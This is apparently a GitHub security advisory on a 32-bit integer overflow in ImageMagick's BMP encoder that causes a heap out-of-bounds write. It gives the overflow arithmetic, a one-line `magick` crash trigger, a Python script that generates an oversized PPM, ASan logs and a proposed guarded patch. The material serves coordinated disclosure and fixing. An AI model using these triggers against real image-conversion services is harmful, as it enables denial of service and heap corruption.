GHSA-mxvv-97wh-cfmm

## Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**. - **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers. - **32-bit:** **Vulnerable** (reproduced with ASan). - **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---

## Scope & Affected Builds

- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`). - **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7` - **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712` - **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan. - **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.

---

## Root Cause (with code anchors)

### Stride computation (writer)

```c bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32); ```

### Per-row base and 24-bpp loop (writer)

```c q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line; for (x = 0; x < (ssize_t)image->columns; x++) { *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes } ```

### Allocation (writer)

```c pixel_info = AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels)); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); ```

### Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.

---

## Integer-Overflow Analysis (32-bit `size_t`)

Stride formula for 24-bpp:

``` bytes_per_line = 4 * ((width * 24 + 31) / 32) ```

There are **two independent overflow hazards** on 32-bit:

1. **Stage-1 multiply+add** in `(width * 24 + 31)` Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969` → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`. 2. **Stage-2 final ×4** after the division Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`. Solving gives **width ≥ 1,431,655,765 (0x55555555)**.

Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.

**Mismatch predicate (guaranteed OOB when overflowed):** Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`. Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**.

---

## Concrete Demonstration

Chosen width: **`W = 178,957,200`** (just over Stage-1 bound)

- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535** - Divide by 32: `5535 / 32 = 172` - Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride - Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes` - Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes` - **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---

## Observed Result (ASan excerpt)

``` ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092 ```

- Binary: **ELF 32-bit i386**, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)

---

## Exploitability & Risk

- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N). - **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.

**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

## Reproduction (copy-paste triager script)

**Test Environment:**

- `docker run -it --rm --platform linux/386 debian:11 bash` - Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3` - Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...` - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

```bash ./configure \ --host=i686-pc-linux-gnu \ --build=x86_64-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)" ``` - Runtime limits to exercise writer:

```bash export MAGICK_WIDTH_LIMIT=200000000 export MAGICK_HEIGHT_LIMIT=200000000 export MAGICK_TEMPORARY_PATH=/tmp export TMPDIR=/tmp export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0" ```

**One-liner trigger (no input file):**

```bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null ```

**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).

**Alternate PoC (raw PPM generator):**

```python #!/usr/bin/env python3 W, H, MAXV = 180_000_000, 1, 255 # W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") * (1024*1024) remaining = 3 * W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n # Then: magick huge.ppm out.bmp ```

---

## Proposed Severity

- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical** - **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**

---

## Maintainer Pushbacks — Pre-empted

- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size. - **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct. ---

## Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t. - Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line. - Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

## Regression Tests to Include (PR-friendly)

1. **32-bit overflow repros** (with ASan): - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors. - `rows=2`, same bound → no row overlap; clean error. 2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`. 3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.

---

## Attachments (private BMP_Package) Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)

---

## Disclosure & Coordination

- **Reporter:** Lumina Mescuwa - **Tested on:** i686 Linux container (details in Repro) - **Timeline:** August 19th, 2025

---

## Appendices

### Appendix A — Patch block tailored to  `bmp.c`

**Where this hooks in (current code):**

- Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);` - Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);` - Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));` - 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;`

---

## Suggested Patch (minimal surface, guards + invariant)

I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.

```c /* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */

/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */ if (bmp_info.bits_per_pixel == 0 || (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31; /* Divide first; then check the final ×4 won't overflow. */ _tmp /= 32; if (_tmp > (SIZE_MAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytes_per_line = 4 * _tmp; /* same formula as before, now checked */

/* 2) Compute the actual data bytes written per row for the chosen bpp. */ size_t row_bytes; if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) { /* packed: ceil(width*bpp/8) */ if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3; } else { /* 16/24/32 bpp: (bpp/8) * width */ size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8; if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = bpp_bytes * (size_t)image->columns; }

/* 3) Per-row safety invariant: the payload must fit the stride. */ if (row_bytes > bytes_per_line) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/* 4) Guard header size and allocation products. */ if ((size_t)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */ if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);

/* Allocation count = rows * stride_used, with existing MagickMax policy. */ size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL); if (_stride > SIZE_MAX / (size_t)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels)); if (pixel_info == (MemoryInfo *) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

/* Optional: keep zeroing aligned to computed header size. */ (void) memset(pixels, 0, (size_t) bmp_info.image_size);

/* --- PATCH END --- */ ```

### Why this is the right spot?

- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`).  - It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication.  - It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`.  - The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. 

---

## Notes

- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected.  - **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field.  - **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.

A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.

### Appendix B — Arithmetic Worked Example (W=178,957,200)

- `(24W + 31) mod 2^32 = 5535` - `bytes_per_line = 4 * (5535/32) = 688` - `row_bytes (24-bpp) = 536,871,600` - Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.

### Appendix C — Raw ASan Log (trimmed)

``` ================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in __interceptor_posix_memalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092 ```